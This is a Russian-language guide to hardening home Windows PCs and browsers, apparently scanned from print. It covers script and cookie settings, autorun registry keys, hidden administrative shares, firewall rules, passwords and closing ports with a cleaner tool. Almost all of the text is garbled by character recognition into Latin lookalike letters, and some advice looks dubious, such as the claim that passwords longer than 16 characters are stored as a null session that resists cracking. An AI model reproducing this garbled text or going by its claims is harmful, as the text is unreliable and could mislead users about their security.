CYETUYMKOM, KOTOpPbIA BedeT CTaTUCTMKY rnocewiaeMoctu. B To Bpemsa Kak
nepBbln CKPUNT HaXoAUTCS B OCHOBHOM [OOMEHe, T.e. WWw.Site.com, BTOpOM
npeacrasnser cobon BHeWHee COOepPXUMOe, KOTOpoe  PU3nyecku
HaxoguTcs Ha gpyrom pecypce. NoScript pasnuyaetr 3TuM gBa ckpunta u
no3BondeT ynpasnATb MMM MO OTOENbLHOCTU — K MNpUMepy, CYyLUeCTBYeT
BO3MOXHOCTb OHOPA30BO paspeLlunTb CKPUNT M3 OCHOBHOIrO AoMeHa, YToObl
yCrneLHO NPoOUTN perucTpauunio, Npn 3ToM He paspeLlasi UICMosIHEHME BTOPOro
CKpunTa Kak HaxoAsLeroca B 4pyrom JOMeEHeE.

OTknroyveHue cookies B HacTpomkax Firefox BbINOMHAETCA criegyowmm

obpasom.

3anyctute 6paysep, oTkponTe Tools (Mucrpymenter) — Options
(HacTpovku) , NYHKT MEHK Privacy (I[IpMBaTHOCTH).
CHatb ranovky Allow sites to set Cookies (llpunumars Cookies

C camToB).

PacwupeHHoe ynpaeneHue annamm cookies B Mozilla Firefox

BO3MO>HO C MOMOLLbIO crieunannanposaHHoro gononHeHus CookieSafe.

be3onacHas Hacmpouka obo3pesameris.Opera

[Ona oTknw4YeHMA cKpuntoB B Opay3epe Opera Heobxoaumo

BbINOJSTHWUTbL CreayloLmne OeNCTBUS.

Otkponte Opera — VHcTpyMeHTE — HacTpouky - JOMOJHUTEJbHO —
NYHKT MEHI ComepxmMoe — YyOpaTb ranodkM HanpoTMB BrJOUMTH Java,

BrJOUMTE JavaSCript U BKJIOUMTE I1J1a TVHHL
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Opera no3sBonsieT paspeLlmnTb BbIMONIHEHNE CKPUNTOB OrnpeaeneHHoMy
canty. BbINonHUTL coOTBETCTBYKOWEE [OENCTBME BO3MOXHO AOBYMS

crnocobamu:

1) YnpaejneHnue HacTporkamu Beb-y3jia — HAWTU HYXHbIW CanuT —
mMeHUTh — BKNaAKa CueHaput 1 ComepxuMoe;

2) LlenkHyTb npaBoM KHOMKOW MbIWK MO Tpebyemowm CTpaHuUe U B
NOSABMBLLEMCS MEHIO BbIOpaTh Vi3MeHNThL HACTPOWKM y3Jia, NOCMe Yero

AencTBoBaTb Mo NPUBELEHHON BbILLE CXEME.

YnpaBneHue channamm cookies BbINONHAETCA creayowmm obpasom.

OTtkponte Opera — VHCTpyMeHTE — HacTpOMky — JOMOJIHUTEJIBHO —
NyHKT MeHio Cookies — noctaBuTb ranoudky HanpoTuB Hukorma He

npuHMMaTs COOKIES.

[onyctmo Takke paspewwunTb cookies aAns onpegerieHHoro camTta

npmBegeHHbIMN HWXKE OBYMA cnocobamu.

1) Yynpaeneune Cookies — HaUTU HyXHbI canT — smenuTs — COOKies;
2) LlenkHyTb nNpaBOM KHOMKOM MbIWK MO TpebyeMon cTpaHuue ”n B
noasmBLLUEMCA MEHHO Bbl6paTb /I3MeHTEL HACTPOUKM Yy3Jia, NOCNe 4Yero

AencrteoBaTb MO NPUBEAEHHOW BbIlLE CXEME.

HacTtporika ©e3onacHocTM B MHbIX Opaysepax npou3BoAUTCS B
COOTBETCTBUM C TEMU Xe MpUHUMNaMn, 4To U AN ONUCaHHbIX Bblle
obospeBartenen. [lepBooyepegHOEe 3HaAYeHME WMEET OTKM4YeHne Java-

ckpuntoB., ActiveX n IFRAME, a Takxe ynpasneHue annamm Cookies.
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Hocutenu nHdopmauun, cpannsl n nanku

Obuwas 3awuma

1) Ons npenoTBpalleHns 3apakeHusi NMocpeacTBOM aBTOMAaTMYECKOro

3anycka COOEepXMMOr0 CbEMHbIX HOCUTENEN HeoOXOAUMO OTKMKYUTb

adABTO3aNnycCK A4 BcexX pa3HOBI/I,EI,HOCTel7l OWNCKOB.

Ona sBepcut Windows, oCHaLLEHHbIX peaakTopamMu NONUTUK:

llyck - BrmosHUTbL — BBemuTe cjoso gpedit.msc - OK -
KoHburypaumsa KoMIbiTepa - AIMUHUCTPATUBHEE MAOJIOHE -
Cucrema - OTKJIOUUTH aBToganyCK.BbﬁepMTe,UKBaBKBaHym<ﬂOﬂmeH
ObITb OTKITKOYEH, TnocJsie 4ero npumeHuTe HOBYHO TMOJINTUKY KOMaH,D,OVI

‘gpupdate’ B KoHCOMNMN.

B XP_Home ocHacTka ynpasreHusi rpynnoBbiMU MOSIMTUKAMU OTCYTCTBYET,
OAHAaKO TOT e aPeKT MOXeT ObITb JOCTUTHYT PYHHOW NpaBKOW peecTtpa:

1) Iyck - BunoJsiHuTs — BBemuTe cjyoso regedit — OK.

2) OTKpbITL
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies.

3) CosgaTb HOBLIW pasgen
4) NepenmeHoBaTb co3faHHbIN pasgen B Explorer

5) B aTtom pasgene co3gatb kntod NoDriveTypeAutoRun

JonycTnumble 3Ha4YeHns Knya.

OX1 - OTKJIUMTEL aBTO3AaNyCK Ha NPUBOIAX HEM3BECTHEIX TUIIOB
OX4 - OTKJIOUMTE aBTO3AallyCK CBHEMHEX YCTPOMCTB

OX8 - oOTKIOUUTL aBTO3ANlyCK HECBHEMHEIX YCTPOMCTB

0x10 - OTKJINUMTL aBTO3AaNyCK CETEBHEX OMUCKOB

0x20 - orTkaouMThs aBTO3anyck CD-NIPUBOIOB

0x40 - OTKJIOUMTE aBTO3alyCK RAM-IMCKOB
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Ox80 - oTkIoOUUTL aBTO3ANYCK Ha MNPUBOIAX HEM3BECTHHEIX TUIIOB
OXFF - orxkmounMTes aBTO3anyck BOOOIE BCeX IMCKOB.
3Ha4yeHus MOryT KOM6|/|H|/|pOBaTbCF| cymMmmumnpoBaHunem X YHUCNOBbIX

3HAYEHUN.

3Ha4YeHMS Mo YMOJTYAHMIO:

0x95 - Windows 2000 n 2003 (oTKNOYeH aBTO3anyCK CbeMHbIX, CeTEBbIX U
HEeN3BEeCTHbIX JUCKOB)

0x91 - Windows XP (oTkno4eH aBTo3anyck CeTeBbIX N HEU3BECTHbLIX ANCKOB)

Takke BO3MOXHO OTKIIOMEHME aBTo3arycka AucKa, KOTOPOMY MpUCBOEHa
3apaHee u3sBecTHada byksa:

Paspen:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

Kntoy: NoDriveAutoRun

Honyctnmble 3HadeHuns: OXO—Ox3FFFFFF

3HaveHne npegcraBndeT cobon "GuToByHO KapTy" AUCKOB cnpaBa Haneso -
KpanHUW NpaBbli OUT (B ABOMYHOM MpeAcTaBrieHnn) COOTBETCTBYET ANCKY A,
BTOpOW crnpasa - B 1 Tak ganee. [1nsa oTkno4eHna aBTo3anycka 6uTt gormkeH
ObITb YCTAHOBEH.

3Ha4deHune no ymonyaHuio: 0x0

U3meHeHuna B peecTtpe NPUMEeHATCA TOJIbKO NocCrie nepe3arpy3kun.

2) PekomeHayeTcs He OTKpbIBaTb Nanku Ansi obuwiero goctyna um3

cetn. Ecnu cywecTtByeT HacToATeNbHas HEO6X0AMMOCTL B NpegocTaBneHnn
BHELUHEero A0CTyna, BHMMAaTeNbHO OTHEeCUTeCb K TOMY, Kakasi nanka oyget
AOCTYMNHa N3BHE U Kakue npasa Ha ynpasreHue en 0yayT UMeTb Te UMK UHble
KOMMbtoTePbl. Ype3Bbl4aNHO HexenaTenbHO NPeaoCTaBnsATb AOCTYN K KOPHIO

CUCTEMHOIO ANCKAa U K Narnkam OﬂepaLlMOHHOVI CNCTEMDbI.
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3) CnegyeT C OCTOPOXHOCTbIO OTHOCUTBLCA K COOPHMKaAM NPOrpaMmMHOro
obecneyeHnss M nporpaMMHbIM apxmBaMm B WHTepHeTe. HacTtositenbHo

PEKOMEHOYETCS CKayMBaTb NporpaMMy TONbKO ¢ oduumanbHOro camrta

pa3paboTymka 1 n3beratb aBTOPCKUX BEPCUIN PACNPOCTPaHEHHbIX NMPOrpaMm

(Hanogobue “Total Commander User's Edition”), HecTaHOapTHbIX HabopoB
OOHOBEHUN U apyrnx I'IO,£|,06HbIX MM YCTaHOBOYHbIX NMAaKeToB, KOTOPblE€ MOl

ObITb NepecobpaHbl € Lenbio BHegpeHns BpegoHocHoro MO.

OmKnrYeHue CKpbimbIXx pecypcos ¢ obwum docmyrom (Orisi OrbIMHbIX

rnosnb3oeameried)

Kaxgbin komnbtoTep nog ynpasneHnem WInNT / 2000 / XP / 2003 wn
BbllLle aBTOMaTUYECKM cO34aeT pecypcbl obliero gocTyna ANs Kaxaoro
Ancka B cucteme. ITU  pecypeCbl  CKPbITbl, HO MOryT MOJSIHOCTbIO
KOHTPONMPOBAaTbCA agMUHUCTPATOPOM AdomMeHa. VMiMeHem Takoro pecypca
sBnseTcs OykBa Aucka, conpoBoxaaemas 3Hakom $. Mpu cosgaHum XopoLuo
3alUMNLLEHHON CeTU BaM MOXET MNoHagobuTbCA OTKIHOYEHME I3TUX OOLLMX
pPecypcoB WM MO KpanHEW Mepe OrpaHuyeHne npaB KOHKPETHbIX

nonb3oBaTenemn u cnyxo.

CKpbITbl NO YMOSYaHMIO CnegyroLmne pecypchbl:

C$ D$ ES$ n 1.n. — KopeHb kaxgown naptuummn. Nog WIinNT Workstation /
2000 / 2003 / XP Professional Tonbko agmuHucTpartopbl wunmn Backup
Operators moryT nogkntoydatscsa K aTum pecypcam; nog WIinNT Server / 2000

Server K HUM Takke umetoT goctyn Server Operators.

ADMIN$ - %SYSTEMROOT%. O3T0oT 00WwMi pecypc cuctema
Mcnonb3yeT Npu KaXkgoM ceaHce yganeHHoro agMMHUcTpupoBaHua. [lyTb K
pecypcy 3agaH nepemeHHon %SYSTEMROOT% (nog Win2000 / NT aTo
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06b14HO C:\Winnt, nog XP - C:\Windows).

FAX$ - nog Win2000 Server aToT pecypc mcrnosnb3yeTcs Ansa OTrnpaBku
dakcoB. Pecypc BpeMeHHO kawmpyeT dannbl u obpawaetca K annam Ha

cepsepe.

IPC$ - BpeMeHHble coeNHEHUs MeXay cepBepamMmu, Heobxoaumble N4
obMmeHa JaHHbIMW MeXxay nporpammamu. Mcnonb3yeTcs BO BpeMs ceaHca
yOoaneHHoro agMmMHUCTPUPOBAHUA U MNPU MNPOCMOTPE pacllapeHHbIX narok
KOMNbloTepa. ITOT pecypC MOXeT OblTb OYeHb OnaceH, MOCKOSIbKYy 4epes
Hero MOXHO M3BfeYb 3HAYUTESTbHOE KOSTIMYECTBO MHOpMaL N O BalLEN CETU

Aaxe U3-noJ aHOHUMHOIO akkayHTa.

NetLogon — aTOoT pecypc ucnonb3dyetca cnyxbon Net Logon nopa
Win2000, 2003 un NT Server npn obpaboTke 3anpocoB Ha CETEBOW BXOA B
CUCTEMY Yepe3 OOMEH, a Takke bornee paHHMMW cCUCTEMaMM NpuU 3anycke

logon-ckpunToB.

PRINTS$ - %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS.

Ncnonb3yeTcsa ons yganeHHoro ynpaenieHus NpuHTepamu.

Mo>HO npocTo yaanutb pecypc vyepesd meHeoxep cepsepa B WIinNT unu
cpencTea ynpasneHus obwum goctynom kK nankam B Win2000 / XP / 2003, HO
npobnema cocTtouT B TOM, YTO MOCfe nepesarpyskn pecypcbl OyayT
aBTOMATUYECKNM BOCCTAHOBIIEHbl. Takke WX MOXHO OTKMIOYUTL 4epes
pedaktop NonuTuUK, opgHako 6onee npoctoM cnoco®  MOCTOAHHOrO
OTKJTHOYEHNS 3TUX PECYPCOB - peaaKkTUpoBaHMe peecTpa.

3a ynpaBneHne CKpbITbIMM agMUHUCTPATUBHBIMW pecypcammn OTBEYarT

crneayoLLme KIHoYu:
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Onga cepsepHbix cuctem (WIinNT 4.0 / 2000 / Windows Server 2003)

HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanM
anServer\Parameters

YcranoBuTe 3Hauenume AUtoShareServer''=dword:00000000

Inga pabounx ctaHumm (WIinNT 4.0 Workstation / XP Pro)

HKEY LOCAL_ MACHINEN\SYSTEM\CurrentControlSet\Services\LanM
anServer\Parameters

YcranoBuTe sHauenue TAUtoShareWks''=dword:00000000

Ecnn Takoro knio4va HeT, ero HY>KHO CO34aTb. Pe3yanaT noABUTCA Mocre

nepesarpysku.

[na BOCCO30aHMsi CKPbITbIX PECYPCOB 3HA4YeHWe COOTBETCTBYHOLLMX
KMoYel HYXHO BHOBb M3MeHUTb Ha 1. meliTe B BMAy, YTO HEKOTOpble
NPUMNOXEHUs1 MOryT 3aBUCETb OT CKPbITbIX pecypcoB U paboTaTb
HEKOPPEKTHO.

Ha XP Home gaHHast pyHKUMOHaNbLHOCTL OTCYTCTBYET.

BaxHo! 3T mMaHunynaumm ¢ peectpom He oTkntodatT IPCS$. [JaHHbIN
pecypc LWMPOKO UCMONb3yeTCa Xakepamu ANns Bblbopa aTakyeMblX CUCTEM,
NMOCKONbKY OH MOXEeT npeaocTaBUTb MHOM0 MH@opmaumMm O CUCTEMHbIX,
nofib30BaTesNibCKMX UMeHax M Tak ganee. Ecnu paspelueHns gnsa y4yeTHbIX
3anvcen HEKOPPEKTHbI, U Bbl HE OTKMHOYUIIN aHOHUMHYIO YYETHYIO0 3amnuch,
NI HEe OTKITHOYUNIM TOCTEBOM aKKayHT, TO 9TOT BEKTOP aTak MOXeT NpuBecTu

K B3JIOMY CUCTEMDbI 3a CHNTAHHbIE MUHYTHI.
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YA3BMMOCTU U NOTEHUMANbHO aTaKkyeMbi ceTeBOU (pyHKLMOHan

Obuwas 3awuma

1) B Tabnuue npaeun Bawero 6paHamayapa Heobxoanmo 6e3ycnoBHO

3anpeTuTb Bxoaslime coeauHeHus no npotokonam TCP n UDP gna Bcex

nporpamm, Nocsie Yero npu XxefnaHnum co3gaTb UCKITIOYEHUS O TEX CETEBbIX
NPOAYKTOB, (PYHKUMOHANbHOCTb KOTOpbIX 3TO Hapywaet (FTP, P2P, ICQ-
KnueHToB). B pasnuyHbix 6paHamMayapax 3TW COeQMHEHUSI Ha3blBAOTCA MO-
pasHomy: Bxopgsuwee coeguHeHne, Bxopduwlee HanpasneHue, Inbound

Connection, Server Rights n Tak ganee.

OOpatute BHUMaHue: Bbllle Mbl FOBOPUNM O TOM, YTO BXOAALLMM
Ha3blBaeTCs COEAMHEHWE, MHMLUMATOPOM KOTOPOro SBMSIETCH YAaneHHbIN
koMnbtoTep. MoaTomy 3anpeT BXoAsALWMX COeAWHEHMI He ByaeT o3HauvaTtb,
4YTO Bbl HE cMOXeTe paboTaTb B VIHTepHETe — OTBETbI HA BallX MUcxoasiLue

coefuHeHns byayT NpUHUMATLCS YCMELLHO.

BrnokupoBaHne BxogsLWMX COeQMHEHUN NpeaHasHayeHo 3almuatb Bac
OT CeTeBbIX aTak gaxe B TOM criydae, ecnu 3anucu ob atake HeT B Hase
CUCTEMbI AETEKTUPOBAHUS BTOPXKEHUI, LLENEBOM NOPT OTKPbLIT N HA HEM CTOUT
YA3BUMOE NPUNIOXKEHNE.

B HekoTopbix 6paHamMayapax BO3MOXHO BbINOSHUTL APYryl0 MOSE3HYH0

onepauuio — 3anpeTntb uUcxoasuiune coenuHeHUA BCEM MNPUNOKEHUAM,

ONA_KOTOPbIX B Tabnuue npaBui He yKa3zaHO obpaTtHoe. OTO 3Ha4uT, YTO

NPUNOXeHuto OyaeT 3anpeleHo COeAMHATLCS C CeTbio, Moka Bbl He
paspeLwunTe emy 3Toro siBHbIM 00pa3omM, co3gaB COOTBETCTBYHOLLLEE NPABUIIO
B Tabnuue. NMNogobHasa HacTporka co3gaeT AONONHUTENbHLIM 06beM paboThbl
Nno HacTporke GpaHamayapa nocne ycTaHOBKM HOBbIX MPUMOXEHUN, O4HaKO
Nno3BonsieT ObiTb YBEPEHHbBIM, YTO AaXKe B CryyYae YCneLwHoro NpoOHMKHOBEHMS

BPEOOHOCHOro MporpamMmHoro obecrneyeHust Ha Ball KOMMbIOTEP OHO He
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CMOXeT BbINOJIHNTL CeTeBOe coeaAMHEeHune (‘—ITO, COOTBETCTBEHHO, CHWXaeT

PUCK XULLIEHNS KOHUOEHUNaNnbHoM nHcpopmaumm, naponen un T.n.).

2) HactoatenbHO pekomeHOyeTCs ycCTaHaBnuMBaTb OOHOBIEHUA

Windows (no kpanHen mepe Kputuyeckne) u obHosneHust 6esonacHoCcTu

ONns Qpyrux_nporpamMmMHbIxX npoaykrtoB. K npunmMmepy, B AaHHbIA MOMEHT

nonb3yeTcsa NonynsapHOCTLIO Ya3BMMOCTb B Acrobat Reader, no3sonstowas ¢
nomowibto cneunanoHoro PDF-danna Bbi3dBaTb NepenosiHeHWe namMatun u

BbIMOJIHEHME MPON3BOJIbHOIO KOA4a Ha yﬂ3BMMOVI cncreme.

3) Cnenyer OTKMHYUTb CUCTEMHbIE BO3MOXHOCTU _yAaneHHoro

ynpaBneHusi. [lenaeTcs 370 creaylowmum o6pasom.

[laHesip yHoparJjieHMsa (kKjaccuueckuy Bum) — CucTema — BKNagka
YomaneHHoe wucnosb3osanme. CHATb ranoyvyky PaspemmThs OTIPAaBKY
NpMUIJlalleHUa yOaJIEHHOMY I[IOMOIHMKY .

Ha Windows Vista aTa onepauus MoxeT 6bITb OCyLeCTBNeHa Yyepes IaHesb

yhopaBJjeHuss — HacTporka yIOajleHHOTO HNOCTyIla.

4)  OddekTnBHbiM  crnocobom NpPOTUBOOENCTBUA  BPEAOHOCHOMY

nporpammMHOMy obecnedyeHnto SIBNsieTCs UCNoSfib30BaHME OrpaHUYeHHOM

YYETHOW 3anucu_nonb3oBatens W 0Tka3 OT MNOBCEAHEBHOW paboTbl C

npaBamu agmuHucTpaTtopa. CornacHo CTaTUCTUYECKOMY WCCRedoBaHUIo,
NpoBe4EeHHOMY aHTUBMpPYCHbIM akcnepTom Onerom 3anueBbiM, 6onee 90%
COBPEMEHHOIr0 BPEOOHOCHOr0 MPOrpamMMHOro ObOecrneyeHust MOXeT TepsiTb
bYHKUMOHANbLHOCTb MM OKa3blBaTbCA MOSTHOCTLIO HEPAbOTOCNOCOBHLIM NpuU
3anycke C npaBaMu OrpaHu4eHHoro nonb3oBatens. COOTBETCTBEHHO, Mpwu
HanM4ynMn gononHuTenbHoro 3awmTtHoro MO, ycTaHOBMNEHHOro Ha 3aBeOMO

YUCTYIO CUCTEMY, 3aLUULLEHHOCTb cUCTEMbI MOXET Npnbnnantoeca K 100%.
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5) XKenatenbHO TakKe OTKMHYUTL YYEeTHYK 3anucb «lOCTb» W

yaanuTb BCEe Y4YeTHble 3anucu _nosib3oBaTesien, KOTOpPble HUKTO He

MCMNOJIb3YyeT, C MOMOLLLI KOMIMOHEHTA «YUYETHbIE 3annucu rnosib3oBaTtenemn» B

[MaHenu ynpaBneHusi. BCTPOEHHYIO YYETHYKO 3anncb agMuUHUCTpaTopa (npu
BKIMIOYEHHOM 3KpaHe npuBETCTBUS €e MOXHO yBuaeTb B besonacHom
pexnme) pekomeHayeTcsa NnepenMeHoBaThb U 3aWMTUTb HAAEXHbIM Naponem.
YKasaHHble OENCTBMS MNO3BOMST MOBLICUTL 3alUMULEHHOCTb CUCTEMBbI OT
aTaKk C MOBbIWEHMEM MPUBUMErNA;, B NPOTUBHOM Clnyyae, faxe ecrnv Bbl
paboTaeTte C OrpaHUYEHHOW y4YeTHOM 3anucblo, BpegoHocHoe 10 moxeT
npuceouTb cebe agMUHUCTPATOPCKME MPUBUMENMU U YCMELHO BbINOSHUTb
BpeLOHOCHbIe onepauuu.

[locne OTKMYEHUST TOCTEBOM YYETHOW 3anmcu OHa MOXEeT ObiTb

yoaneHa. OcyllecTBUTb 3Ty onepaLmio BO3MOXHO cneaytoLimmMm o6pasom.

MaHenb ynpaeBneHus (knaccuyeckmn Bug) — Cuctema — BKagka
[ononHutensHo — kHomnka MNapameTpbl B rpynne Npodunu nons3oBatenen. B
NosIBMBLLUEMCSI OKHe OygeT oTobpaxeH ChMCOK Y4YeTHbIX  3anucen,
3aperncTpupoBaHHbIX Ha KOMMbIOTEPE; BblAENUTE YYETHYIO 3anncb «locTb»,
€Cnn OHa nPUCYTCTBYET B CNUCKE, U HaXMWUTE KHOMKY «YOanutb».
MoareBepauTte nameHeHust kHonkom OK.

B Windows Vista ans otobpaxeHus Bknagkn [JoOnonHUTENbHO HEO6X0AUMO

HaxaTb [JononHuTenbHble napamMeTpbl CUCTEMbI.

B npouecce BbINONMHEHUS MoOCneaHen pekoMeHaauuu, a Takke Mpu
3almMTe naponem Ballero Beb-pecypca, NoYTOBOro SilMKa U T.M. BaM MOXET
noTpeboBaTbCA CO3fgaHWe naponsi, YCTOMYMBOrO K B3rNOMY M HEOOCTYMHOro
AN XUWEHUs  BPEOOHOCHBbIM  MporpamMMHbIM  obecrniedyeHnem  Unu
MOCTOPOHHUMU NuaMn. Ons co3aaHns n 6e3onacHoro XpaHeHust HageXHoro
naponss HeobXoAMMO  PYKOBOACTBOBaTbCA  HEKOTOPbIMA  OCHOBHbIMU

CoobpaKeHNAMMN.
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a) CNOXHOCTb BCKPbITUA Mapons Bo3pacTtaeT MNo Mepe yBennveHus
Konuyectsa M pasHoobpasnsi MCnonb3yemMblX B HEM CUMBOMOB. M3 aToro
cnegyert, 4To:

- pycckuu andgaBuT npeanoyTUTesribHee NTaTUHCKOro, ecriv Kupunnvua
B Naponsax paspeLlueHa cepBUCOM, As1 KOTOPOro Bbl cCo34aeTe naporsib;

- B Maposie HexenartenbHbl Kakne-nnbo cnosa (Hanpumep, “password”),
CTaHOapTHble coYeTaHusa Knaesuw (Hanpumep, “qwerty”) unuM ctaHgapTHble
nocnegoBaTenbHOCTU Lndp (Hanpumep, “12345");

- naponb [OormkKeH copepXaTb OyKBbl, UMAPbI, 3HAKN NpPEenuHaHus,
BEPXHUN PErncTp 3HaKkoB B MPOU3BOSILHOM Nopsake;

- ANWHa napons gormkHa obiTb He meHee 10 3HakoB. B onepaunoHHom
cucteme Windows naporsb Ha ydeTHYH 3anucb, Npesbliwarowmin 16 3HaKos,
owMBOYHO cCoxpaHsieTcs Kak Hynesown napornb (null session), 4To NoO3BONAET
npesoTBpaTUTb Ero B3fOM.

0©) CNOXHOCTb XULWEHUs Naponsa BO3pacTaeT Mo Mepe yBeNMYeHus
HeOCTYMNHOCTU MecCTa, rae oH XxpaHuTtcs. 3 aToro cneayert, YTo:

- He peKomeHAyeTcs coxpaHATb naponu B [lpoBogHuke Windows,
obo3peBartene WNHTepHeta, FTP, ICQ-knueHTax, NoOYTOBbIX Nporpammax u
T.N. TO, YTO COXpPaHEHO B MAMSATN KOMMbIOTEPA, MOXHO NPOYECTb U MOXUTUTD.
B HekoTopbIX nporpaMMmHbIX NpoayKTax Angd 3awmtbl MHpopmMmaumm nmeetca
BUpTyanbHas kKnaeuaTtypa, nossonswwasa 6esonacHo BBOAUTL MNapoOnu
(MOCKONbKY HaXXaTusl KNaBuLL pearnbHOW KnaBnaTypbl MOTYT OTCIIEXMBATLCA U
nepexeaTbiBaTbCs BpeAOHOCHbIM 10);

- He peKoMeHAyeTCs 3anucbiBaTb MaponuM Ha «bymaxkax ans
namMaTU» U T.M., NOCKOSbKY K HAM MOTYT MMEeTb 4OCTYN NOCTOPOHHMUE NnLa;

- COOTBETCTBEHHO, €AUHCTBEHHbIM HaAeXHbIM MeCTOM A1 XpaHeHUs
napons, Kyda He wuWMeeT [OOCTYNn HUKTO, KpOMe Bac, SBMsSeTcs Ball
COBCTBEHHbIN MO3T.

Taknm ob6pasom, HagexHbI naponb [LOSMKEH XpaHUTbCA B Ballen

namMaTy U UMEeTb NPUBNN3NTENBLHO cneaywmni Bua: t%P3+Y,8]R.
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OmknoyeHue cryx6

[MoscHUTenbHasa 3annucka

OTknioyeHne cnyx6, Kak BUOHO M3 Ha3BaHUA pasgena, OTHOCUTCS K
cpeactBam 60pbbblI C yrpo3amMu NOCPEACTBOM OTKIIHOYEHMS OYHKUMOHana.
OcHoBHOW 3agayvent Npu OTKIOYEHUM CNYXD SBNSAETCHA 3aKpbITUE CETEBbLIX
noptoB co crtatycom LISTENING, 4to npepoTtBpaljaeT akcnnyatauuio
YSA3BMMOCTEN CUCTEMHbBIX CEPBUCOB U TPETbECTOPOHHMX MNPOLYKTOB
nocpeacTBoM ceTeBbiX atak. Kak Tonbko cnyxba npekpawaet pabory,
MCNonb3yeMblli €10 CETEBOW NOPT nepectaeT ObiTb OTKPbITbIM U UCHE3aEeT — a,
KaKk Mbl rOBOpPUNN paHee, Hemnb3s atakoBaTb TO, Yero Het. [pyrme cnyx6bl
pekomMeHayeTca OTKMA4YaTb NOTOMY, YTO cam (PYyHKUMOHAaM, KOTOPbIA OHU
NnpeaocTaBnsalOT, MOXeT ObiTb WUCNONb30BaH B 3MOHAMEPEHHbIX Lensx.
BTOpuYHbIM 3pPeKTOM OT OTKMYEHUS Cryxb aBnsieTca BbICBOOOXAEHME
pecypcoB onepaTtMBHON NaMATU, NOPON OOBOSIbHO 3HAYUTESbHbIX.

Npoeonornss OTKMAOYEHUST cnyX6 cocTouT B MNOSIHOM NpEeKpalleHumn
paboTbl Hambonee onacHblXx CEPBUCOB, paspelleHnn aBTo3anycka
MUHMMANbHO HEeOoBXoAMMbIX W LOMYyLWEHUM BO3MOXHOrO 3anycka BCeX
ocTanbHbIX. Takon nogxod OAHOBPEMEHHO CBOAUT K MUHMMYMY KOSMYECTBO
paboTarowmx cnyxb, 3awumwaetr OT 3KChnyaTauunm OnacHbIX CEPBUCOB U
npeaenbHO YMEHbLLIAET BO3MOXHbIE NOBOYHbIE 3¢hdeKTbl OT AaHHOW onepaumn.

[MpuBeoeHHass HwKe KOHurypaumsa cnyxb no3BonseT MnofAHOCTbIO
n30aBNTLCS OT 3aKPbITbIX MOPTOB HAa OAWMHOYHOM KOMMbIOTEPE C MPAMbIM
NOOKMIOYEHMEM K CETU WM  KOMMNbIOTEPE B JoKanbHOWM CeTU nofg
ynpasreHnem Windows XP SP2. B onepauunoHHon cucteme Windows Vista
3aKpbITb BCE NOPTbl HEBO3MOXHO, NOCKOSIbKY 3Ta CUCTEMA M3Ha4vanbHO Obina
cnpoekTMpoBaHa Takum obpa3om, 4TOObl MoONb3oBaTeflb HE MoOr ee
MOSTHOCTbID KOHTPONMPOBATb; COOTBETCTBEHHO, B 3Ton OC oTKn4YeHue
Cnyx6 siBNsieTca CpeacTBOM YMEHbLUEHUS KonndecTBa paboTatowmx crnyxé u

OTKPbITbIX CeTeBblX MOpTOB, WU, COOTBETCTBEHHO, MWHUMW3aLUUNN (HO HE
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MOJSTHOrO CHATUSA) PUCKOB.

Kaxpas cnyxba conpoBoxgaeTtcsa onucaHnem QyHKUMOHana, 3a
KOTOPbIN OHa OoTBeYaeT; ByabTe BHUMATESbHbI NPU YTEHUM onucaHund. Ecnu
Bbl nonaraeTte, YTO T€ WU WUHble (QYHKLUMM MOryT ObiTb HapyLleHbl Npu
OTKITOYEHUN CNYX6bl, U LEHHOCTb 3TUX OYHKUUIA Bbilwe, Yyem 6e30nacHOCTb
BaLLEro KOMMNbTEPA, TO TY UIN MHYH PEKOMEHAALMIO AOMYCTUMO HE BbIMOSHATD.

Cnyxbbl B cnucke pasgeneHbl Ha [Be T[pynnbl: OCHOBHblE U
ponosiHutenbHble. OCHOBHble CnyXObl — Te, KOTOpble B OCHOBHOM
npucyTcTBYOT Kak Ha Windows XP, Tak n Ha Windows Vista; BbINOSIHEHNE
pekoMeHgauMm no HuM obecnevmBaeT OCHOBHYH 4acTb paboTbl Mo
obecneveHnto 0e30NaCHOCTU CUCTEMHBLIX CepBMCOB. [lononHuTenbHbIE
cnyxb6bl — Te, KoTopble MMetTca Tonbko B Windows Vista.

O6paTuTe BHMMaHWe, YTO AaHHble pekoMeHJaumn npegHasHavyeHbl A5s
AOMALLHMUX KOMMbIOTEPOB M HEMPUMEHUMbI AN MalLUMH B flOKanbHOW CEeTH

npeanpusaTus.

OcHoBHble cnyx6bl (Windows XP, Vista)

Onsa 3akpblTus Haumbonee arakyembix ceTeBblXx noptoB Windows

ncnonb3yeTcs cneunanbHbin MHCTPYMeHT — Windows Worms Doors Cleaner.

HeobxoanMoCTb ero npuMMeHeHus cBsid3aHa C TEM, YTO BbIMOSIHAEMbIE UM
onepaunn cBsidaHbl HE TOMbKO N HE CTOSIbKO C OTKMOYEHNEM CaMuX Cryxo,
CKOMbKO C MpaBKOM peecTpa, MpUYEM B TaKUX Kroyax, rae cnyyvamHas
owmnbka MOXET  MNPUBECTHU K  HepaboTtocnocobHocTH CUCTEMBI.
CooTBeTCTBEHHO, NpoLle 1 6esonacHee oCyLWECTBUTb 3aKpbITUE 3TUX NOPTOB
C MOMOLLbIO creunanmapoBaHHON NPorpaMmmbl.

3arpy3nte WWDC MOXXHO N0 agpecy:

http://www.firewallleaktester.com/wwdc.htm

[Mocne BbINONHEHWA BCex onepauun u nepesarpy3kn okHo WWDC

AOJSDKHO BbIrNsaeTb NpubnuantensHo crieayowmm obpasom (puc. 7).
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¥ Windows Worms Doors Cleaner 1.4.1

DCOM BPC [port 135] i safely DISABLED on vour system.

ﬂ Ehable DCOM | official Microsoft security bulletin

RPC Locator [port 445] iz zafely DISABLED on pour syztem.

ﬂ Enable |_|:||:.-1-."|'|:|F|| official Microsoft security bulletin

MetBIOS [ports 137/138/139) iz zafely DISABLED on your spztem.

ﬂ Enable MetBIOS i official Microsoft security bulletin &

IPHP [part BO00] iz zafely DISABLED an paur zustem.

ﬂ Enable UPMP | official Microsoft security bulletin

by ghkweh
email address Warhing : Mezsenger will be EMABLED after the next REBOOT.

uebsite Cloge Meszenger | official Microsoft security bulletin

Puc. 7. Windows Worms Doors Cleaner

[lanee MOXHO NPUCTYNUTb K CaMOCTOATENIbHOMY KOHMUIYpMpPOBaHWIO
